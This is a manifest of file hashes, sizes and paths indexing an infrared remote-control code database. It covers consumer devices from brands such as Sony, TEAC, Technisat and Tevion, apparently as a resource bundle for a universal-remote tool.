-F:4c5f61cfa5702c84cb8b2d6308b7d908:3322:infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir -F:4d5a29af3cd20b1dc8746f4837263a14:292:infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir -F:ee9710c4fbda0f5d2c414956123f40ec:1738:infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir -F:7e4eae3f9d1a1d7c0314ca0101daf30c:4897:infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir -F:c629f03c81f9967d5f4194e321c44009:1338:infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir -F:e2881cf6382e33f04b5db060aeefaaad:752:infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir -F:31570d57136d7e13f5afeecf23bc4a5a:19974:infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir -F:3acbb7b6272606a1f7a0f8ad59b91f3e:401:infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir -F:0d299fe8ace1a1bd6f848a6ba0d1143a:3946:infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir -F:a1c6fec5d98bde8be73e6b5c0d7d640b:199:infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir -F:8a49a8ead1240d6930ea7d830d5ad258:199:infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir -F:55b6ed081bd38def6062cd59ef3960f1:118:infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir -F:b9b5c1a974e634401189a01c368d73aa:1802:infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir -F:b7573a5141eac3ebe85580c421876602:9431:infrared/_CSV-IRDB_/Sony/TV/1,-1.ir -F:1c743eb3e47c4fcb01fefa090957a216:675:infrared/_CSV-IRDB_/Sony/TV/119,-1.ir -F:ac73f0f3a1e3b6eb1ba200b579a4aeaf:1749:infrared/_CSV-IRDB_/Sony/TV/151,-1.ir -F:2bd9417e1936bb6773955d9af3a5fa86:5483:infrared/_CSV-IRDB_/Sony/TV/164,-1.ir -F:1d40d3a5d1f6d27b8c51bfce03ecd80f:123:infrared/_CSV-IRDB_/Sony/TV/183,-1.ir -F:4c2ba763a05167eb5980d1326e6a556f:1748:infrared/_CSV-IRDB_/Sony/TV/26,-1.ir -F:57d05504aa3a8450dbef1bf16b7037b8:697:infrared/_CSV-IRDB_/Sony/TV/26,42.ir -F:dd6dc7bc54194584ee2dcc6046f254c0:1195:infrared/_CSV-IRDB_/Sony/TV/3,-1.ir -F:ccc7e6b73ddc09af5101782562d44c8d:1209:infrared/_CSV-IRDB_/Sony/TV/84,-1.ir -F:6e2669686804f5258c917b5f133e8a8a:3225:infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir -F:431640f4384be15cec79d53d6f2f663e:2960:infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir -F:c63c9f23a8a2e3fcd23276b4efd6997f:6037:infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir -F:1555b6ff21d14289bb68503a30a59fad:2606:infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir -F:e776ad0086ce5f539948f7819bf1691d:4091:infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir -F:c941b8d721fc473eee12e9e62578d756:3999:infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir -F:d4b81fcbb89ce1115930ce1cc9e38f90:3739:infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir -F:b5a3fd12f7c5f9d8f49302eb4be619a2:3742:infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir -F:7c3e2c4b8d77b2c2c9ef3e2877ac47f2:2258:infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir -F:9466f8f85132a47645c1dacdda0aefe9:3187:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir -F:3f66adcbf34c2b3056e15a04a527b6a2:3634:infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir -F:13996070db5f5167109bb39d336b6c31:2256:infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir -F:316461e49e47dedb100f9f8930b00f01:1121:infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir -F:18b405749babe5c76a88fceaa2d6ee18:2682:infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir -F:b71b9f54878ffcd41a6d4f5579628a71:2603:infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir -F:188980956d4322bbb8697db1f9cad934:2051:infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir -F:d1031315bce49043ee7483263d8993d8:3252:infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir -F:766b8d874c9daaafe8297e27ddbe93ee:2321:infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir -F:278a05dd1337072ec244e64ebf323851:3069:infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir -F:59881cfe5adcb6bba5ae0c62c2cf3d74:2315:infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir -F:ea85a2267ffee168dd2c3d20d214356f:2666:infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir -F:d0d9767714d91991e987dfeffd58e851:2413:infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir -F:3843b0f85beeca86809a203a72bf794c:2679:infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir -F:924eb2624e4c287e8b6751efbb02ea4d:2553:infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir -F:132085e40672c1b5e90ab2ad3d27bfd7:3450:infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir -F:55eb3aa3bd3eff5c6df5416b4c8d393b:4218:infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir -F:ec3020b1e6195603b66f8fe3dcb6a536:3989:infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir -F:c8acee0effe8957ccaad73040a0a07b1:7866:infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir -F:bd7c8be2eeab9ac7b912840585c5bce2:2675:infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir -F:11728ae77b68705f48b2c2ef366311d4:1099:infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir -F:1d238871263d3c6928d6a4ac2f27e939:4875:infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir -F:3d370d45ca5826700fc6dd6d626ba23b:4687:infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir -F:08840e4e1795894c568e6b3c411d55df:1809:infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir -F:8d930d190f94108f9ce7a9c54ef95288:2684:infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir -F:68354e419930a995b9e3e3412d735e1f:2974:infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir -F:c4439000ffc3dce8850f08edef7f9b70:302:infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir -F:06e452dbe2e06aaaa77ef619dd5fe198:2084:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir -F:feb178bc43bb10f06c2dae2116bb1011:1752:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir -F:ea22e5e54adeaa6ef240dd65fce45b0e:1934:infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir -F:b50a06b877ac7b96c5a7f930b962e6a8:2677:infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir -F:145ff98a868ff002aa51b1848e9c799d:2670:infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir -F:72fc8dee49ffbb07ff4163b9de99cd68:1285:infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir -F:a6631cc6c6bc89d300927d3434c3d3a1:1115:infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir -F:2eb8a25fdf6c7614e30c6f23a648974f:1094:infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir -F:41e93e5bf7344fa2945b7405e968ee5e:1095:infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir -F:611b1d72c121dc9a40da35c6e058ac51:2499:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir -F:204cd8194173b5358ad05e8d69edb281:2601:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir -F:03744704ea1ac384805deeea7a1b98f8:2696:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir -F:2f16b7dd4d205a9273fdfab5ad29f02e:3971:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir -F:979bc89cd23b65571eb9f816f6c496ba:1702:infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir -F:525fb2f003c6778aa2f5aa311dff7bc7:950:infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir -F:0cc1a6c2e17536b0695994aaa94635ee:673:infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir -F:a8b3df3464377167eeb67b0f038dbaf0:3778:infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir -F:6d2f1fe1ee578b41d384e9a77b6f928f:2037:infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir -F:9808f1f9b614f0b3d8f99b9d48d076f5:3055:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir -F:500d667f6feec07e43f753710f8541eb:2903:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir -F:045c33f8ea8a91518800d1640a703c46:2791:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir -F:f4d49ba41d1d829156543ac6d3737a31:3795:infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir -F:fa1115fe17c0a8cf4c4333dd82e2bc9e:1015:infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir -F:d84746e38afb12ab25b83292b2810837:2975:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir -F:56ab5cac17482612b5c556ff16942c60:3154:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir -F:e7fd90a10ff65914f9f261585a2883b8:4249:infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir -F:80baef165b0d4f9e0a0c7208d4868bcd:2506:infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir -F:e5e937a461e2515561e5b63d7a081d2b:298:infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir -F:4d777c7a177a39814d84bbbd090557c7:2989:infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir -F:7874ee2670f2627256d8285144607131:3713:infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir -F:c9063674a9a7bf9f0852e91b9024da7c:1538:infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir -F:c90f00360a4f1fa8b55f72b03ebbdcba:7254:infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir -F:f7a7be07f89b14cb9c10b3c8cfa6e26b:3188:infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir -F:7c43f05f5a8e706720445df87269c2b2:1258:infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir -F:ac5cdef0cbede5dd8b5be856985f8470:1635:infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir -F:044229e2aa1f9a77d076fb00d75e8bd3:1621:infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir -F:2df51be0e4537062b3e6b32d6640a377:2836:infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir -F:e57f858f91439830413d1f7464d95c2f:2010:infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir -F:dc9528f28a27075ee33ae19c89d6d187:2671:infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir -F:5e8b1da3f6f4d596c1371d37ca02a66e:5496:infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir -F:ce701acc960a3750470e7224c598bcdc:7067:infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir -F:a3446d19047ec8cbaeee56971ba167ef:118:infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir -F:b5ab361d7479247be046215941efdcab:215:infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir -F:1ad2e18ad65d6b4cdd69c6dffbca94a2:16298:infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir -F:4970d585b092a2cb4ae85006a2e0c95c:1643:infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir -F:6371be9e46a2fba0d086d699ba5e3cbc:1114:infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir -F:0b9732edcaba9c96f6156b0499530155:4807:infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir -F:008765a917e58d9d8c86cf7a71e1cbeb:9036:infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir -F:2f1f53115b532d94ec379ac58e14feed:3297:infrared/_CSV-IRDB_/Sony/VCR/25,37.ir -F:31f4b25476bd71edefde287f70365c5d:217:infrared/_CSV-IRDB_/Sony/VCR/25,69.ir -F:48515eea1223b1b5df7a8b237ad7e767:119:infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir -F:135441ac345a018a05dc473166569f76:7867:infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir -F:fb32a8b00bb3275c9194f70ec3e0f5ad:816:infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir -F:b044ffdeb83f82c85b4ad46a932129dd:5519:infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir -F:d051d53a6c86aaf4117761ef1df5e415:10479:infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir -D:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399 -F:6bba2ec9cc94fc83523bc50ebf4e836d:4400:infrared/_CSV-IRDB_/Speed-link/Unknown_SL-6399/0,-1.ir -D:infrared/_CSV-IRDB_/Starsat/Unknown_120 -F:4c226e3c6f8e502dfa3c0fbd804e39b3:3636:infrared/_CSV-IRDB_/Starsat/Unknown_120/64,64.ir -D:infrared/_CSV-IRDB_/Starview/Unknown_Starview -F:75383cc8284b9f66b473a3540286122e:2942:infrared/_CSV-IRDB_/Starview/Unknown_Starview/0,249.ir -D:infrared/_CSV-IRDB_/Streamzap/Unknown_PC -F:2eebde4c5fbb8461ba8615a332ac98a3:3156:infrared/_CSV-IRDB_/Streamzap/Unknown_PC/35,-1.ir -D:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision -F:2629c2c404ae6eced4cac563f422e362:4016:infrared/_CSV-IRDB_/Sumvision/Unknown_Sumvision/0,-1.ir -D:infrared/_CSV-IRDB_/Sunfire/Surround Processor -F:4ce15842d36d2272d4a76359078d7f40:2117:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,0.ir -F:032481e38d4159c0573dbba014d93e83:381:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,1.ir -F:70d43ec8046458a98a99c9e6ced5a8b6:212:infrared/_CSV-IRDB_/Sunfire/Surround Processor/184,3.ir -D:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002 -F:45fd37fa1234387a771c1ec0d8bc6180:3064:infrared/_CSV-IRDB_/Sungale/Unknown_JX-2002/0,-1.ir -D:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax -F:45945704e87d65a2b00bbf1c408e68e4:2576:infrared/_CSV-IRDB_/Supermax/Unknown_Supermax/128,38.ir -D:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15 -F:2f2d8b7cd95ec2a3c38e2086ce1f88a3:3149:infrared/_CSV-IRDB_/Supportplus/Unknown_SP-URC-LCD-F15/10,-1.ir -D:infrared/_CSV-IRDB_/Syabas/Unknown_A-100 -F:da79d9e6c21e7119754c4f53f0558da8:4501:infrared/_CSV-IRDB_/Syabas/Unknown_A-100/4,203.ir -D:infrared/_CSV-IRDB_/Symphonic/TV -D:infrared/_CSV-IRDB_/Symphonic/VCR -F:3d0c415cfebda54bba51b93e112bf929:1904:infrared/_CSV-IRDB_/Symphonic/TV/41,-1.ir -F:f11182af028c75651a5901c5757c0283:2443:infrared/_CSV-IRDB_/Symphonic/VCR/40,-1.ir -F:7859f79ffe38fb90b1185111e56ffdbd:122:infrared/_CSV-IRDB_/Symphonic/VCR/44,-1.ir -D:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD -D:infrared/_CSV-IRDB_/TCM/Unknown_218681 -D:infrared/_CSV-IRDB_/TCM/Unknown_225925 -D:infrared/_CSV-IRDB_/TCM/Unknown_225926 -D:infrared/_CSV-IRDB_/TCM/Unknown_96518 -D:infrared/_CSV-IRDB_/TCM/Unknown_TCM -F:99c812cbe22ec32d17e52ef44f9ffce6:3235:infrared/_CSV-IRDB_/TCM/Unknown_212845-CD/5,-1.ir -F:83cd9abe4129e579de22a473f0c6b8ce:2936:infrared/_CSV-IRDB_/TCM/Unknown_218681/5,5.ir -F:6a0863a1653bcd1038e35583da9437a8:2521:infrared/_CSV-IRDB_/TCM/Unknown_225925/24,233.ir -F:b0127382068dd296681e020520337b7b:2521:infrared/_CSV-IRDB_/TCM/Unknown_225926/35,-1.ir -F:7c1ec769a262b90295e7026028283490:3227:infrared/_CSV-IRDB_/TCM/Unknown_96518/0,-1.ir -F:96f8a5ad3f9f609f3f9fe1f98955bd68:2863:infrared/_CSV-IRDB_/TCM/Unknown_TCM/176,0.ir -D:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX -F:42d3c238d14d4d3e8088ac1ebeb02c2d:3569:infrared/_CSV-IRDB_/TCUAG/Unknown_TVBOX/6,-1.ir -D:infrared/_CSV-IRDB_/TEAC/DVD Player -D:infrared/_CSV-IRDB_/TEAC/Unknown_CD -D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547 -D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548 -D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558 -D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614 -D:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909 -F:0000c1371d2744ae7df67d73927e5955:3128:infrared/_CSV-IRDB_/TEAC/DVD Player/163,-1.ir -F:c6f478f031a12ccec71a92bc14fe4d31:2386:infrared/_CSV-IRDB_/TEAC/DVD Player/175,-1.ir -F:4f658f94c3df79637c29b049df54cfbc:2680:infrared/_CSV-IRDB_/TEAC/Unknown_CD/134,97.ir -F:573c9da50191cea2c2f69ee5c23674a5:307:infrared/_CSV-IRDB_/TEAC/Unknown_RC-547/3,1.ir -F:8226de670a777679ee061dc4d0a6af9d:2074:infrared/_CSV-IRDB_/TEAC/Unknown_RC-548/128,114.ir -F:b6f7de6db7bd99df4d8c201a4f2811fb:1301:infrared/_CSV-IRDB_/TEAC/Unknown_RC-558/130,120.ir -F:356833fdded867887691968a20c7515f:3382:infrared/_CSV-IRDB_/TEAC/Unknown_RC-614/0,-1.ir -F:82718c7a067f3b9fba0db1d8977c748c:2720:infrared/_CSV-IRDB_/TEAC/Unknown_RC-909/34,1.ir -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880 -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798 -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799 -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300 -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd -D:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a -F:cce774c77f1d5bec074b8ee5be5bb88a:2686:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR643880/160,10.ir -F:b0dc3abfdfe84f21313c75ebee2f6492:2941:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64798/160,10.ir -F:8cdc3866b41f8918aa6eda0313f2cf89:2950:infrared/_CSV-IRDB_/TECHNICS/Unknown_EUR64799/160,10.ir -F:9f8d8ff90c3e5b34dc1618cba6aa415a:2146:infrared/_CSV-IRDB_/TECHNICS/Unknown_EURXP300/160,10.ir -F:c8419386ae19929e193c73fa8a56d68b:3061:infrared/_CSV-IRDB_/TECHNICS/Unknown_cd/160,10.ir -F:463234dc365beb61239ac5bac0e78670:3056:infrared/_CSV-IRDB_/TECHNICS/Unknown_sl-ps670a/160,10.ir -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035 -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35 -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf -D:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e -F:fc86194d7c126e75a29ea35ef9ab76d3:3014:infrared/_CSV-IRDB_/TECHNISAT/Unknown_100TS035/10,-1.ir -F:975426930ec70d9c4910532e129e554d:3039:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPNA35/10,-1.ir -F:3712dd3b4f48bfc8f8d857e36b5e8051:3788:infrared/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir -F:ea5dbda250550876046717bb301839fd:2593:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir -F:9c160d964fcb53326acfc61ef5fb9ba2:2340:infrared/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir -F:9a1ec7ed151fb804c2b699993f053591:504:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir -F:7329c31863860e0de7dd4dece69c3afe:2970:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir -F:f85eb3c1f7651b8d318b214fee89fbb0:2925:infrared/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir -F:aa544d2fa5a2b05cd629a141a658cafe:3200:infrared/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir -D:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000 -D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127 -D:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345 -D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550 -D:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B -F:dd628e73b352fb7cd19dc37c6b8a9707:2966:infrared/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir -F:7b2de336cebc549bbaddedd3ebdbfa1d:1823:infrared/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir -F:6e74f390fb0bcc1f66cbdad33fdd1203:1963:infrared/_CSV-IRDB_/TELEFUNKEN/TV_RC-1345/5,-1.ir -F:ec823f92667786fba1e810af9ab6228b:5423:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_FB1550/67,-1.ir -F:99d6c28217a6437df9a9f5d38ca9cc01:2844:infrared/_CSV-IRDB_/TELEFUNKEN/VCR_RC1323-Video-B/8,-1.ir -D:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB -F:fc5ff20de4d5a7d271148cb74b1c423f:1876:infrared/_CSV-IRDB_/TRIAX/Unknown_DVB/10,-1.ir -D:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit -F:cdcee347afcb028246981b0a09d71e9c:1279:infrared/_CSV-IRDB_/Tab Electronics/Unknown_Kit/0,-1.ir -D:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner -F:d880eb4c0296ebabc4391f28e897529a:2081:infrared/_CSV-IRDB_/Tangent/Tangent-HiFi-II_Ampster-BT_CD_Tuner/6,248.ir -D:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204 -F:8c702bd8132ad2f686d5e89608124879:3764:infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir -D:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB -D:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro -D:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400 -D:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend -D:infrared/_CSV-IRDB_/Technotrend/Unknown_remote -F:f9a89011cee803c09050ede54879ee7b:3391:infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir -F:08d38d71713d6b2188e5f4fe13c0d73b:2954:infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir -F:a405b35346ef0cf45ae5a6c0f8aa60bf:3321:infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir -F:0983310ad8bf62a84f356fc9a3587f66:3331:infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir -F:f5e2513d4df8edd6299eb78d073da6ee:2944:infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir -D:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060 -F:11aedcf83bba56dd5892c666fad76190:1940:infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir -D:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card -F:cc939001686c6bb416323df0d28c2216:649:infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir -D:infrared/_CSV-IRDB_/Televes/Unknown_145075 -D:infrared/_CSV-IRDB_/Televes/Unknown_711701 -F:c722b9ed059e5a42b4ef1ab7b8866e37:3546:infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir -F:ba530010d84037d2d464dc447e71dbc9:3513:infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir -D:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb -F:07c2e20b9251d58f8756782856a18886:2063:infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir -D:infrared/_CSV-IRDB_/Terratec/Internet Radio -D:infrared/_CSV-IRDB_/Terratec/Unknown_1400 -D:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy -D:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO -D:infrared/_CSV-IRDB_/Terratec/Unknown_home -F:f0b7760dc78a3489a0ae52ed82b9c49a:2731:infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir -F:db3885c95966234b5919e7b233028b6d:3237:infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir -F:c954e04f25d2e5986610e9c78d8e0450:3151:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir -F:26734361b37b8a11466dae427dee886a:4291:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir -F:61a7b1185c954cfbf03d6f9eabeb9042:3399:infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir -F:35a8dbd5737d8a8f4a89591669ccf209:1649:infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir -F:529ed5c5ea739266781e02de2d5be510:1124:infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir -D:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD -D:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla -F:3a0ad9ed367f15ffc52d94fbabed107b:3649:infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir -F:11773c873d4d9f4a30addafacf4eb638:2930:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir -F:013ee059a644791ab818db0774f31d84:2665:infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir -D:infrared/_CSV-IRDB_/Tevion/Unknown_3830 -D:infrared/_CSV-IRDB_/Tevion/Unknown_41666 -D:infrared/_CSV-IRDB_/Tevion/Unknown_DFA -D:infrared/_CSV-IRDB_/Tevion/Unknown_DVD -D:infrared/_CSV-IRDB_/Tevion/Unknown_MD -D:infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410 -D:infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL -D:infrared/_CSV-IRDB_/Tevion/Unknown_RS20536 -D:infrared/_CSV-IRDB_/Tevion/Unknown_SAT928 -D:infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD -D:infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV -D:infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603 -D:infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020 -D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383 -D:infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905 -D:infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607 -F:4373b14ddebb607a25fae27773d548b5:3223:infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir -F:2b343c922088565dfa2c3be7aa92b932:3587:infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir -F:0b7564ad9bb65d709020b134664f5b84:3061:infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir 